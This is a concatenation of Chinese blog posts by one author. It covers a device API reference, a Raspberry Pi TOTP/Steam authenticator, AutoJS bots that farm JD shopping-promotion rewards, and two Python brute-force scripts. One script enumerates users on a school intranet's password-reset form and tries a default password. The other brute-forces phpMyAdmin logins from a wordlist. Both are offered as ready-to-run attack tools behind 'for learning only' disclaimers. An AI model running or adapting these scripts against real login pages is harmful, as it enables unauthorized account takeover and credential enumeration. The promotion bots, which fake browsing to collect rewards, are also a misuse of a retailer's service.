【0】:无动作, 其他数值:修改第12位的字符编码 0 f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0 /set/text/group 说明 设置需要显示的字符串, 字符串长度最大为300, 超出的部分会被截断 由于显示屏只能显示12位字符, 可以开启滚动显示模式来循环播放文本 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" w 屏显字符串 文本 要显示在屏幕上的字符串 "" f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0 /set/text/mode 说明 设置文本显示模式, 可以设置滚动显示的模式 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" m 文字显示模式 0-3 【0】:静态文本, 1:向左滚动, 2:向右滚动, 3:左右滚动 【0】 f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0 功能性API - 模式3 - 进度条模式 调用该模式的API后, 会自动切换到模式3, 但是对模式的修改不会写入闪存 /set/proc/config 说明 设置进度的条样式 因为屏幕只能显示12个字符, 因此只能显示4位 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" l 是否显示标签 布尔 【""/0】不显示文字标签, 其他值:显示文字标签 "" n 是否显示百分比 布尔 【""/0】不显示百分比, 其他值:显示百分比 "" i 是否启用图标进度条 布尔 【""/0】用“▮”和“ ”绘制进度条, 其他值:利用上方的图标绘制进度条(模式2的图标设定会暂时失效) "" f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0 /set/proc/value 说明 修改进度条数值 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" v 进度条百分比 0-100 进度条当前的进度 0 f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0 /set/proc/string 说明 修改进度条标签（和模式2共用一个缓冲区） 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" w 屏显字符串 文本 只会显示前4位, 并且需要开启“显示标签”才会显示 0 f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0
前言 总共花了4天休息时间做的小玩意，支持显示通用TOTP令牌(6位数字)和STEAM令牌(5位)，同时也是个桌面时钟。 源码获取：GitHub 令牌原理 i> 简单的介绍一下两个令牌的原理，不感兴趣的可以参考下一节 原理 令牌类似于短信验证码，是一种一次性密码OTP，核心原理很简单，服务器和用户事先约定好一个Secret，然后用户通过特殊的算法（一般用Secret + 时间戳或者计数器作为参数），得到一串字符，服务器也通过同样的算法得到一串字符，如果两者相同，那么就证明了我是我。 常见的令牌大多是基于时间的令牌TOTP，也就是用当前的时间戳作为输入，只要保证和服务端时间差不超过令牌有效期（常见的实现是30秒）就能确保通过验证。优点是令牌客户端可以不需要联网，缺点是可能因为时间差导致验证失败。 另一种实现是基于HMAC的令牌HOTP，这种令牌需要和服务器约定一个计数器，客户端刷新一次令牌，就告诉服务器，让两边的计数器同步，这样用户和服务器得到的结果才能一样，才能通过验证。缺点显而易见，就是令牌客户端需要联网。 STEAM的令牌系统类似于TOTP，也是基于时间戳的，只是算法略有区别，最明显的区别是普通TOTP计算得到的是6位数字，STEAM令牌是5位数字或字母。 x> Secret一定要保管好，千万不要向他人透露。 i> 完整代码位于utils/twofa.py TOTP详解 伪代码 #. 演示用的中间结果用【】 表示 0. 服务器和用户事先约定了一个密钥Secret，记为K【MNUHE6DXGEZDGNBVGY======】(Base32编码，也有的实现采用Base64编码） 1. 取当前时间戳/30，取整后记为C【53914423】 2. 使用C作为消息，K作为密钥，哈希方式一般为Sha-1，计算HMAC哈希值H【deb27e0ae7e70fc2d2527e6ed231967e26503f72】(16进制) 3. 取H最后一个字节的低4位，用作偏移，记为O【2】(即16进制C的最后一位) 4. 取H的第O到O+4字节【7e0ae7e7】，丢弃最高位，变为32位无符号整数，记为I【7e0ae7e7】(最高位本来就是0，所以不变) 5. 把I转成10进制数字【17602563747】，最低6位就是结果【643943】 Python实现 import hmac import hashlib from base64 import b32decode from time import time import struct def get_totp_auth_code(secret: str, t: int = None): if not t: t = int(time() / 30) key = b32decode(secret) msg = struct.pack(">Q", t) mac = hmac.new(key, msg, hashlib.sha1).digest() offset = mac[-1] & 0x0f binary = struct.unpack('>L', mac[offset:offset+4])[0] & 0x7fffffff code = str(binary)[-6:].zfill(6) return code # 演示DEMO print(get_totp_auth_code('MNUHE6DXGEZDGNBVGY======',53914423)) # 输出结果为 643943 Steam令牌详解 伪代码 #. 演示用的中间结果用【】 表示 0. 服务器和用户事先约定了一个密钥Secret，记为K【Y2hyeHcxMjM0NTY=】(Base64编码） 1. 取当前时间戳/30，先取整【53914423】，然后转换成8字节，前方补0，记为C【000000000336ab37】(16进制) 2. 使用C作为消息，K作为密钥，哈希方式一般为Sha-1，计算HMAC哈希值H【deb27e0ae7e70fc2d2527e6ed231967e26503f72】(16进制) 3. 取H最后一个字节的低4位，用作偏移，记为O【2】(即16进制C的最后一位) 4. 取H的第O到O+4字节【7e0ae7e7】，丢弃最高位，变为32位无符号整数，记为I【7e0ae7e7】(最高位本来就是0，所以不变)，为了方便计算转成10进制为【2114643943】 5. 创建一个字母表G【23456789BCDFGHJKMNPQRTVWXY】(去掉了一些容易混淆的字符) 6. 用I【2114643943】对26取余，记为M【9】，然后将I整除26，重复5次，得到5个M【9,13,7,12,25】(10进制) 7. 把5个M作为下标，从G中取出对应位置的字符，最后拼接起来就是结果【CH9GY】 i> 两个算法0~4步都是一模一样的，只是steam的算法多了一步处理过程 Python实现 import hmac import hashlib from base64 import b64decode from time import time import struct def get_steam_auth_code(secret: str, t: int = None) -> str: if not t: t = int(time()/30) msg = struct.pack(">Q", t) key = b64decode(secret) mac = hmac.new(key, msg, hashlib.sha1).digest() offset = mac[-1] & 0x0f binary = struct.unpack('>L', mac[offset:offset+4])[0] & 0x7fffffff codestr = list('23456789BCDFGHJKMNPQRTVWXY') chars = [] for _ in range(5): chars.append(codestr[binary % 26]) binary //= 26 code = ''.join(chars) return code # 演示DEMO print(get_steam_auth_code('Y2hyeHcxMjM0NTY=',53914423)) # 输出结果为 CH9GY 屏幕显示 i> 我使用的是微雪的2.7寸墨水屏，也可以使用别的尺寸的屏幕，自行修改图片生成函数进行适配即可。 买屏幕的时候直接买适配树莓派的就行了，基本上都提供Python的驱动，直接用就行，非常方便。 !> 常见的屏幕一般是SPI接口，树莓派默认是不开启SPI接口的，可以使用官方的工具rasbpi-config开启，或者手动编辑/boot/config.txt，在最后一行加一个dtparam=spi=on，重启后生效。 img.py i> 如果对PIL绘图不是很熟悉可以看下一节。 ''' # @Author : Chr_ # @Date : 2021-03-30 17:04:24 # @LastEditors : Chr_ # @LastEditTime : 2021-04-03 00:26:15 # @Description : 图片生成器 ''' import time from os import path from typing import List, Tuple from PIL import Image, ImageDraw, ImageFont SCREEN_W = 264 # 屏幕显示宽度 SCREEN_H = 176 # 屏幕显示高度 CODE_W = 115 # 中间区域宽度 CODE_H = 27 # 中间区域一条令牌的高度 ICON_W = 20 # 左边图标区域宽度 ICON_H = 44 # 左边图标区域一个图标的高度(包含空白) CLOCK_W = SCREEN_W-ICON_W - CODE_W CLOCK_H = SCREEN_H FONT_CODE = ImageFont.truetype(path.join('font', 'Courier Prime Code.ttf'), 25) # 令牌字体 FONT_TAG = ImageFont.truetype(path.join('font', 'CascadiaMono.ttf'), 12) # 令牌名称的字体 FONT_PAGE = ImageFont.truetype( path.join('font', 'sarasa-fixed-sc-regular.ttf'), 15) # 页码字体 FONT_ICO = ImageFont.truetype( path.join('font', 'sarasa-fixed-sc-regular.ttf'), 22) # 图标区域的字体 FONT_CLOCK = ImageFont.truetype(path.join('font', 'hartland.ttf'), 50) # 时钟字体 FONT_DATE = ImageFont.truetype(path.join('font', 'hartland.ttf'), 23) # 日期字体 FONT_TIPS = ImageFont.truetype( path.join('font', 'sarasa-fixed-sc-regular.ttf'), 13) # 日期下方文字的字体 def generate_2fa_img(data: List[Tuple[str, str]], page: Tuple[int, int] = (1, 1), active: bool = True, tips: List[str] = None) -> Image: def draw_icon() -> Image: '''绘制图标''' img = Image.new('L', (ICON_W, SCREEN_H), 0xff) w, h = FONT_ICO.getsize('▲') draw = ImageDraw.Draw(img) ICO_TXT = ['▲', '▼', '●', '■'] if active else ['△', '▽', '○', '□'] for i in range(4): x, y = (ICON_W-w)/2+1, i*44+(44-h)/2 draw.text((x, y), ICO_TXT[i], font=FONT_ICO, fill=0x00) return img def draw_auth() -> Image: '''绘制令牌''' def draw_auth_single(name: str, code: str) -> Image: '''绘制单个令牌''' # 计算尺寸 w1, h1 = FONT_CODE.getsize(code) w2, h2 = FONT_TAG.getsize(name[:3]) W2, H2 = CODE_H, 18 W1, H1 = CODE_W-H2, CODE_H # 画令牌 im_code = Image.new('L', (CODE_W, CODE_H), 0xff) draw_code = ImageDraw.Draw(im_code) draw_code.text(((W1-w1)/2, (H1-h1)/2), code, font=FONT_CODE, fill=0x00) # 画名称 im_name = Image.new('L', (W2, H2), 0xff) draw_name = ImageDraw.Draw(im_name) draw_name.text(((W2-w2)/2, (H2-h2)/2-2), name[:3], font=FONT_TAG, fill=0x00) draw_name.line(((0, 0), (W2, 0)), fill=0x00, width=1) im_name = im_name.rotate(angle=90, expand=True) im_code.paste(im_name, (W1, 0)) draw_code.rectangle((0, 0, CODE_W-1, CODE_H), outline=0) return im_code def draw_page_info() -> Image: '''绘制页码''' PAGE_H = SCREEN_H-6*CODE_H+2 im_page = Image.new('L', (CODE_W, PAGE_H), 0xff) draw = ImageDraw.Draw(im_page) draw.rectangle((0, 0, CODE_W-1, PAGE_H), outline=0) curr, total = page curr -= 1 if total < 1: total = 1 if curr > total: curr = 0 pages = ['-'] * total if active: pages[curr] = '≡' else: pages[curr] = '≡' page_str = ' '.join(pages) wp, hp = FONT_PAGE.getsize(page_str) draw.text(((CODE_W-wp)/2, (PAGE_H-hp)/2-2), page_str, font=FONT_PAGE, fill=0x00) return im_page img = Image.new('L', (CODE_W, SCREEN_H), 0xff) y = -1 for name, code in data[:6]: img_code = draw_auth_single(name, code) img.paste(img_code, (0, y)) y += img_code.height img_page = draw_page_info() img.paste(img_page, (0, y)) return img def draw_clock() -> Image: '''绘制时钟''' img = Image.new('L', (CLOCK_W, CLOCK_H), 0xff) draw = ImageDraw.Draw(img) time_str = time.strftime("%H:%M", time.localtime()) date_str = time.strftime("%Y-%m-%d", time.localtime()) # 画时钟 wc, hc = FONT_CLOCK.getsize(time_str) wd, hd = FONT_DATE.getsize(date_str) draw.text(((CLOCK_W-wc)/2+3, 10), time_str, font=FONT_CLOCK, fill=0x00) draw.text(((CLOCK_W-wd)/2+3, 65), date_str, font=FONT_DATE, fill=0x00) for i, tip in enumerate(tips, 0): wt, ht = FONT_TIPS.getsize(tip) draw.text(((CLOCK_W-wt)/2, 110+(ht+5)*i), tip, font=FONT_TIPS, fill=0x00) return img if not active: data = [('---', '-----')] * 6 if len(data) < 6: data += [('---', '-----')] * 6 if not tips: tips = ['By Chr_', 'Ver 0.01', 'chrxw.com'] full_img = Image.new('L', (SCREEN_W, SCREEN_H), 0xff) img_auth = draw_auth() full_img.paste(img_auth, (ICON_W, 0)) img_icon = draw_icon() full_img.paste(img_icon, (0, 0)) img_clock = draw_clock() full_img.paste(img_clock, (ICON_W+CODE_W, 0)) with open('o.png', 'wb') as f: full_img.save(f, 'png') return full_img PIL绘图简介 创建图片('L'代表灰度模式，0xff表示默认颜色是白色) img = Image.new('L', (width, height), 0xff) 图片拼贴(把img_icon粘贴到img(30,0)的位置) img.paste(img_icon, (30, 0)) 创建画笔对象 draw = ImageDraw.Draw(img) 绘制矩形(左上角为(x1,y1)，右下角为(x2,y2)) draw.rectangle((x1, y1, x2, y2), outline=0) 绘制直线(端点为(x1,y1)和(x2,y2)，0x00表示线条颜色为黑色，宽度为1) draw_name.line(((0, 0), (W2, 0)), fill=0x00, width=1) 创建字体对象('font/CascadiaMono.ttf'是字体路径，12是字号) font = ImageFont.truetype('font/CascadiaMono.ttf'), 12) 获取文字的尺寸(获取用指定字体把'text'显示出来的尺寸，高为h，宽为w) w, h = font.getsize('text') 绘制文本(把'text'用指定字体显示在(20,10)的位置，0x00表示字体颜色是黑色) draw.text((20, 10), 'text', font=font, fill=0x00) 按键响应 原理 树莓派有2种引脚编号方式，BCM和BOARD，两者的区别只是对引脚的标记不同，使用GPIO前申明一下引脚的编号方式即可，使用命令gpio readall可以查看所有引脚的编号、状态、电平状态 类似于51单片机的中断系统，树莓派也可以设定中断，不过先要把指定引脚设定为输入模式，设定完后，再创建一个“监听器”，当指定引脚的电平从高电平变为低电平的时候，就会自动调用指定函数，参数为引脚号。 我买的屏幕左边4个按键使用BCM编码的引脚编号为【5,6,13,19】，前两个用来控制翻页，第三个用来切换时钟下方显示的内容，第四个用来控制令牌的显示/隐藏。 实现 i> 这里只列出了事件响应的部分，具体功能的实现请参考obj.py import RPi.GPIO as GPIO from obj import Pi_2FA # 使用的引脚序号 KEYS = [5, 6, 13, 19] pi_2fa = Pi_2FA() # 按键响应回调函数 def btn_callback(key): if pi_2fa.Ready: if key == KEYS[0]: pi_2fa.page_down() elif key == KEYS[1]: pi_2fa.page_up() elif key ==KEYS[2]: pi_2fa.switch_mode() elif key ==KEYS[3]: pi_2fa.none_mode() else: print(key) return # 设置引脚编号方式为BCM GPIO.setmode(GPIO.BCM) for key in KEYS: # 设定指定引脚为输入模式 GPIO.setup(key, GPIO.IN, pull_up_down=GPIO.PUD_UP) # 为指定引脚添加事件响应函数 GPIO.add_event_detect(key, GPIO.RISING, callback=btn_callback, bouncetime=200)
前言 本脚本仅供学习交流之用，使用者如何使用与本文作者无关。 AutoJS下载 & 教程 [post cid="1235" /] 脚本 大部分沿用之前的代码，初步测试没有问题，遇到问题欢迎留言反馈 //JD不定时热更新活动页，请关注脚本更新 //遇到问题请在发布页留言： //https://blog.chrxw.com/archives/2021/01/18/1455.html //Ver 1.8 2021.01.23 //By Chr_(chr@chrxw.com) //========================= //更新说明 //重写了任务完成判断方式,防止偶尔报错 //优化数组访问,应该不会再越界报错了 //修复若干bug //新支持浏览频道任务 //修复加购和参加会员任务的问题（需要打开开关） //修复出现限时任务时报错的问题 //========================= //功能配置 //自动加入会员（设为true启用) let auto_join_vip = false; //自动完成加购任务（设为true启用) let auto_add_cart = false; //延时时间倍率（倍数越大延时越久) let sleep_t = 1.0; //========================= auto.waitFor(); console.show(); toast('\n脚本开始运行\n请切换到任务页\nBy Chr_'); for (let i = 0; i < 10; i++) { //等待切换到任务页 if (className("android.view.View").text("我的爆竹").exists() || className("android.view.View").text("集爆竹").exists()) { break; } rsleep(1); } if (!className("android.view.View").textStartsWith("邀请好友助力").exists()) { advclick(className("android.view.View").text("集爆竹").findOnce()); } toast("\n即将开始工作\n中途需退出请按【音量+】终止"); sleep(1000); for (; ;) { let flag = false; let skip = false; let tasks = className("android.view.View").textStartsWith("邀请好友助力").findOnce().parent().parent().children(); for (let i = 0; i < tasks.length; i++) { if (tasks[i].childCount() == 5) { tasks[i].child(4).click(); rsleep(1); advback(); skip = true; } } if (skip) { continue; } for (let i = 0; i < tasks.length; i++) { if (tasks[i].length < 4) { for (let j = 0; j < tasks[i].childCount(); j++) { log(tasks[i].child(j).text()); } continue; } let desc; let title; try { desc = tasks[i].child(2).text(); title = tasks[i].child(1).text(); } catch (e) { log(e); continue; } let btn = tasks[i].child(3); log(i, desc); if (desc.search("8秒") != -1) { if (checks(btn, title)) { advclick(btn); view(); flag = true; } } else if (desc.search("浏览可得") != -1) { if (checks(btn, title)) { advclick(btn); view2(); flag = true; } } else if (desc.search("关注频道") != -1) { if (checks(btn, title)) { advclick(btn); view3(); flag = true; } } else if (auto_join_vip && desc.search("成功入会可得") != -1) { if (checks(btn, title)) { advclick(btn); view3(); flag = true; } } else if (auto_add_cart && desc.search("5个") != -1) { if (checks(btn, title)) { advclick(btn); view4(); flag = true; } } if (flag) { break; } } if (!flag) { toast("\n脚本运行完毕\n模拟浏览任务全部完成（大概）"); console.hide(); break; } } //检查任务是否完成 function checks(btn, title) { let match = title.match(/(\d+)\/(\d+)/); if (match) { let a = Number(match[1]); let b = Number(match[2]); log(a, b, a < b); return a < b; } else { return false; } } //模拟浏览（浏览会场任务） function view() { rsleep(3); className("android.widget.Image").text("vk image").findOne(5000); rslide(6); rslideR(1); rsleep(3); advback(); } //模拟浏览（直接返回） function view2() { rsleep(3); back(); rsleep(3); } //模拟浏览（开卡） function view3() { rsleep(2); let btn = className("android.view.View").text("确认授权并加入店铺会员").findOne(5000); if (btn) { advclick(btn); rsleep(2); } else { rsleep(1); } advback(); } //模拟浏览（浏览商品、加购任务） function view4() { rsleep(3); let add_cart = true; let count = 4; if (className("android.view.View").text("任意浏览以下5个商品").exists()) { add_cart = false; count = 4; } else { add_cart = true; count = 5; } log(add_cart ? "加购模式" : "浏览模式"); for (let i = 0; i < 5; i++) { let prices = className("android.view.View").textMatches("^¥[0-9]+\.[0-9][0-9]").untilFind(); log(i, prices[i].text()); let good = prices[i].parent().parent(); if (good.childCount() != count) { log('已完成，跳过'); continue; } if (!add_cart) { advclick(good); rsleep(2); rslide(1); className("android.widget.ImageView").desc("返回").click(); } else { good.child(4).click(); rsleep(2); rslide(1); className("android.widget.ImageView").desc("返回").click(); } rslide(1); rsleep(2); } advback(); rsleep(3); } //随机延时 function rsleep(s) { while (s--) { let t = random(900, 1200) * sleep_t; sleep(t); } } //模拟返回 function advback() { if (className("android.view.View").text("集爆竹").exists()) { return; } for (let i = 0; i < 3; i++) { if (!className("android.widget.ImageView").desc("返回").exists()) { rslideR(1); rsleep(2); continue; } className("android.widget.ImageView").desc("返回").click(); rsleep(5); if (className("android.view.View").text("集爆竹").exists()) { return; } } log("定位不到返回按钮，模拟返回键"); back(); } //随机划屏 function rslide(i) { while (i--) { let x1 = random(300, 800); let y1 = random(1200, 1900); let x2 = random(300, 800); let y2 = random(1000, 1200); swipe(x1, y1, x2, y2, 300); rsleep(1); } } //随机划屏，反向 function rslideR(i) { while (i--) { let x1 = random(300, 800); let y1 = random(900, 1300); let x2 = random(300, 800); let y2 = random(1500, 1900); swipe(x1, y1, x2, y2, 300); rsleep(1); } } //模拟点击 function advclick(uiobject) { let rect = uiobject.bounds(); click(rect.centerX(), rect.centerY()); } function test() { let tasks = className("android.view.View").textStartsWith("邀请好友助力").findOnce().parent().parent().children(); for (let i = 0; i < tasks.length; i++) { for (let j = 0; j < tasks[i].childCount(); j++) { log(tasks[i].child(j).text()); } } }
!> 本文仅供学习交流使用，其他用途与作者无关 前言 最近在学校内网瞎搞，就有了这个脚本，一个用来爆破用户名，另一个用来爆破默认密码。 验证码识别用的是腾讯云的OCR，不过也可以手动打码。 脚本 安装依赖： pip install requests bs4 lxml 爆破用户名 存在的用户名会保存在 users.txt 里 #!/usr/bin/python3 from json import dumps from requests import session import threading from bs4 import BeautifulSoup import requests requests.packages.urllib3.disable_warnings() # 爆破起始ID uid = 0 # 爆破结束ID ends = 30000 # 爆破入口（忘记密码页面） target = 'https://xxxx/forget/security' HEADERS = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'content-type': 'application/x-www-form-urlencoded', 'charset': 'UTF-8', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'} # 输出文件为 `users.txt` outf = open('users.txt', 'a', encoding='utf-8') def get_id(): global uid raw = str(uid).rjust(4, '0') uid += 1 return raw if uid <= ends else None class Boomer(threading.Thread): def __init__(self, i): self.i = i self.ss = session() self.headers = HEADERS.copy() self.headers['x-requested-with'] = 'XMLHttpRequest' self.flash_token() threading.Thread.__init__(self) def flash_token(self): '''刷新token''' r = self.ss.get(target, headers=HEADERS, verify=False) r.encoding = 'utf-8' soup = BeautifulSoup(r.text, 'lxml') t = soup.select_one( '#forget-security-form > input[type=hidden]:nth-child(1)') tk = t.get('value') if t else None self.headers['x-csrf-token'] = tk if tk == None: print('error') self.ss.headers = self.headers def run(self): print(f'{self.i} 开始') user = get_id() while user: result = self.check_user(user) if result: print(f'{user} 用户存在') outf.write(f'{user} 用户存在\n') outf.flush() else: print(f'{user} 用户不存在') user = get_id() print(f'{self.i} 退出') def check_user(self, uid): error = 0 jd = {} while error < 5: try: data = {'user_name': uid} r = self.ss.post(target, data=data, verify=False) r.encoding = 'utf-8' jd = r.json() break except Exception: self.flash_token() error += 1 if 'question_id' in jd: msg = '该账号未设置密保!' else: msg = jd.get('msg') if jd else None if not msg: with open(f'{self.i}.html', 'w') as f: f.write(dumps(jd)) print('未知错误') return msg == '该账号未设置密保!' def main(): threads = [] # 200是线程数量,可以自行调整 for i in range(0, 200): t = Boomer(i) t.start() threads.append(t) for t in threads: t.join() outf.close() if __name__ == "__main__": main() 爆破默认密码 @> 登陆错误50次就锁IP了，所以手动打码也完全没有问题。 用户名文件为 users.txt，结果保存在 result.txt #!/usr/bin/python3 from urllib.parse import urljoin from requests import session import threading from re import findall from bs4 import BeautifulSoup # 调用腾讯云的验证码识别接口 # from tencen2 import get_tencent_reg # 默认口令 passwd = '123456' # 爆破入口（登陆页面） target = 'https://xxxx/' headers = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'} # 输入输出文件 inf = open('users.txt', 'r', encoding='utf-8') outf = open('result.txt', 'w', encoding='utf-8') def get_id(): try: line = inf.readline() i, *_ = line.split() return i except: return None found = True while not found: found = '' in get_id() class Boomer(threading.Thread): def __init__(self, i): self.i = i self.ss = session() self.ss.headers = headers threading.Thread.__init__(self def run(self): print(f'{self.i} 开始') user = get_id() while user: result=check_pass(user, passwd, self.ss) # 尝试登陆两次（验证码识别率不高） if result: print(f'{user} 成功') outf.write(f'{user} 成功\n') else: if result: print(f'{user} 成功') outf.write(f'{user} 成功\n') user = get_id() print(f'{self.i} 退出') def check_pass(user: str, passwd: str, ss: session): def get_token(soup: BeautifulSoup) -> str: '''获取token''' token = soup.select_one('#login-form > input[type=hidden]') return token.get('value') if token else None def get_chapter(soup: BeautifulSoup) -> str: '''获取验证码链接''' chapter = soup.select_one('#loginform-verifycode-image') return chapter.get('src') if chapter else None r = ss.get(target, verify=False) r.encoding = 'utf-8' soup = BeautifulSoup(r.text, 'lxml') token = get_token(soup) chapter = get_chapter(soup) while True: url = urljoin(target, chapter)# 验证码图片地址 with open('yzm.png', 'wb') as f: r = ss.get(url, verify=False) f.write(r.content) # 如果要使用腾讯云OCR的话修改这里就行 print('请输入验证码：') yzm = input() # yzm = (get_tencent_reg('yzm.png') or [''])[0] yzm =''.join(findall(r'[A-Za-z0-9]',str(yzm))) if len(yzm)==4: break else: print(f'验证码识别有误 {yzm}') data = {'_csrf-8800': token, 'LoginForm[username]': user, 'LoginForm[password]': passwd, 'LoginForm[verifyCode]': yzm, 'login-button': ''} r = ss.post(target, data=data, verify=False) r.encoding = 'utf-8' result = '修改密码' in str(r.text) print(user,yzm,'成功' if result else '失败') return result def main(): threads = [] # for i in range(0, 10): # 改成了单线程操作 t = Boomer(1) t.start() threads.append(t) for t in threads: t.join() inf.close() outf.close() if __name__ == "__main__": main() PS:因为测试了几个账号,都没有修改默认密码,加上每小时只能试50条的限制,这个脚本没有真正使用过,不过功能是正常的。 执行效果 配合第二个脚本就可以快速筛选出使用默认密码的账号了
前言 !> 本脚本仅作学习交流使用，请勿用于非法用途 最近在做渗透测试，有一台内网的PhpMyAdmin的机器，想着爆破一下，网上找的脚本或多或少都有点问题，就自己造了一个。 脚本 只支持Python3.4及以上版本 修改 target, user, passdic 三个参数，然后直接运行即可，如果爆破成功会把结果写到success.txt文件里 #!/usr/bin/python3 ''' # @Author : Chr_ # @Date : 2020-12-06 12:39:57 # @LastEditors : Chr_ # @LastEditTime : 2020-12-08 13:16:20 # @Description : PhpMyAdmin爆破脚本 ''' # from requests import session from re import findall from html import unescape # # PMA地址,例如 http://localhost/index.php target = 'http://localhost/index.php' # 要爆破的用户名 user = 'root' # 密码字典文件路径 passdic = 'password.txt' # ss = session() ss.headers = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'} def get_token(text) -> str: '''获取token''' token = findall("name=\"token\" value=\"(.*?)\" />", text) return unescape(token[0]) if token else None def get_title(text) -> str: '''获取标题''' title = findall(' (.*) ', text) return title[0] if title else None def try_login(user, pwd, token): '''尝试登陆''' data = {'pma_username': user, 'pma_password': pwd, 'server': 1, 'target': 'index.php', 'token': token} r = ss.post(url=target, data=data) return r.text def fuck_pma(): '''爆破''' with open(passdic, 'r', encoding='utf-8') as f: html = try_login('', '', '') title_fail = get_title(html) token = get_token(html) for line in f: pwd = line.strip() print(f'[?] 尝试登陆 {user} {pwd} ') html = try_login(user, pwd, token) title = get_title(html) token = get_token(html) if title != title_fail: print(f'[√] 登陆成功 {title}') with open('success.txt', 'a', encoding='utf-8') as f: f.write(f'{target} | {user} | {pwd}\n') break else: print(f'[×] 登陆失败 {title}') if __name__ == "__main__": try: fuck_pma() except Exception as e: print(e)
前言 x> 双十一活动已经过期，本文仅作存档 本脚本仅供学习交流之用，使用者如何使用与本文作者无关。 AutoJS下载 & 教程 [post cid="1235" /] 全民营业脚本 i> 如果遇到问题请在下方评论 脚本 //遇到问题请在 https://chrxw.com 留言 //Ver 0.6 2020.10.31 //By Chr_(chr@chrxw.com) //========================= //功能配置 //自动加入会员（设为false禁用) var auto_join_vip = true; //自动完成加购任务（设为false禁用) var auto_add_cart = true; //========================= auto.waitFor(); // console.show(); toast('\n脚本开始运行\n请切换到任务页'); for (var i = 0; i < 10; i++) { //等待切换到任务页 if (className("android.view.View").text("收取金币").exists() || className("android.view.View").text("立即解锁").exists()) { log('break'); break; } rsleep(1); } if (!className("android.view.View").textStartsWith("邀请好友助力").exists()) { advclick(className("android.view.View").text("领金币").findOnce()); } toast("\n即将开始工作\n中途需退出请按【音量+】终止"); sleep(2000); for (; ;) { var flag = false; var objs = text("去完成").find(); for (var i = 0; i < 10; i++) { if (objs[i] != null) { obj = objs[i].parent(); if (obj.children() >= 8) { break; } } } var tasks = obj.children(); for (var i = 2; i < tasks.length; i += 4) { var txt = tasks[i].text(); log(txt, i); if (txt.search("8秒") != -1) { var btn = tasks[i + 1]; if (btn.text() == "去完成") { advclick(btn); view(); flag = true; } } else if (txt.search("浏览可得") != -1) { var btn = tasks[i + 1]; if (btn.text() == "去完成") { advclick(btn); view2(); flag = true; } } else if (auto_join_vip && txt.search("成功入会可得") != -1) { var btn = tasks[i + 1]; if (btn.text() == "去完成") { advclick(btn); view3(); flag = true; } } else if (auto_add_cart && txt.search("5个") != -1) { var btn = tasks[i + 1]; if (btn.text() == "去完成") { advclick(btn); view4(); flag = true; } } if (flag) { break; } } if (!flag) { toast("\n脚本运行完毕\n模拟浏览任务全部完成（大概）"); break; } } //模拟浏览（浏览会场任务） function view() { rsleep(3); rslide(10); // className("android.widget.Image").text("vk image").findOne(5000); rslideR(1); rsleep(3); advback(); } //模拟浏览（直接返回） function view2() { rsleep(2); back(); rsleep(2); } //模拟浏览（开卡） function view3() { rsleep(2); var btn = className("android.view.View").text("确认授权并加入店铺会员").findOne(5000); log(btn); if (btn) { advclick(btn); className("android.view.View").text("恭喜您已集齐所有会员卡").findOne(2000); rsleep(2); advback(); } } //模拟浏览（浏览商品、加购任务） function view4() { rsleep(3); var add_cart = true; var count = 4; if (className("android.view.View").text("任意浏览以下5个商品").exists()) { var add_cart = false; var count = 4; } else { var add_cart = true; var count = 5; } log(add_cart ? "加购模式" : "浏览模式"); for (var i = 0; i < 5; i++) { var prices = className("android.view.View").textMatches("^¥[0-9]+\.[0-9][0-9]").untilFind(); log(i, prices[i].text()); var good = prices[i].parent().parent(); if (good.childCount() > count) { log('已完成，跳过'); continue; } if (!add_cart) { advclick(good); rsleep(2); rslide(1); className("android.widget.ImageView").desc("返回").click(); } else { good.child(4).click(); } rslide(1); rsleep(2); } advback(); rsleep(3); } //随机延时 function rsleep(s) { while (s--) { sleep(random(900, 1200)); } } //模拟返回 function advback() { for (var i = 0; i < 3; i++) { if (!className("android.widget.ImageView").desc("返回").exists()) { rslideR(1); rsleep(2); continue; } className("android.widget.ImageView").desc("返回").click(); rsleep(5); if (className("android.view.View").text("领金币").exists()) { return; } } log("定位不到返回按钮，模拟返回键"); back(); } //随机划屏 function rslide(i) { while (i--) { var x1 = random(200, 900); var y1 = random(1200, 1900); var x2 = random(200, 900); var y2 = random(1000, 1200); swipe(x1, y1, x2, y2, 300); rsleep(1); } } //随机划屏，反向 function rslideR(i) { while (i--) { var x1 = random(200, 900); var y1 = random(900, 1300); var x2 = random(200, 900); var y2 = random(1500, 1900); swipe(x1, y1, x2, y2, 300); rsleep(1); } } function advclick(uiobject) { var rect = uiobject.bounds(); // var x = random(rect.left, rect.right); // var y = random(rect.top, rect.bottom); click(rect.centerX(), rect.centerY()); } 说明 加了几个功能开关，可以禁用部分功能。 修正了几个影响使用的bug。 支持浏览，开卡，加购等任务。 修复无法退出的bug。 修复了无法运行的bug。 每日逛店脚本 活动页最下面每日逛店也有少量金币，不过受益比较感人，就不整合了，需要的自取 //遇到问题请在 https://chrxw.com 留言 //Ver 0.1 2020.10.27 //By Chr_(chr@chrxw.com) auto.waitFor(); toast('\n脚本开始运行\n请切换到任务页'); className("android.view.View").textStartsWith("宝箱随机藏在以下店铺内").waitFor(); for (var k = 0; k < 10; k++) { count = className("android.view.View").text("寻宝箱 领金币").findOne().parent().child(2).childCount(); if (count > 0) 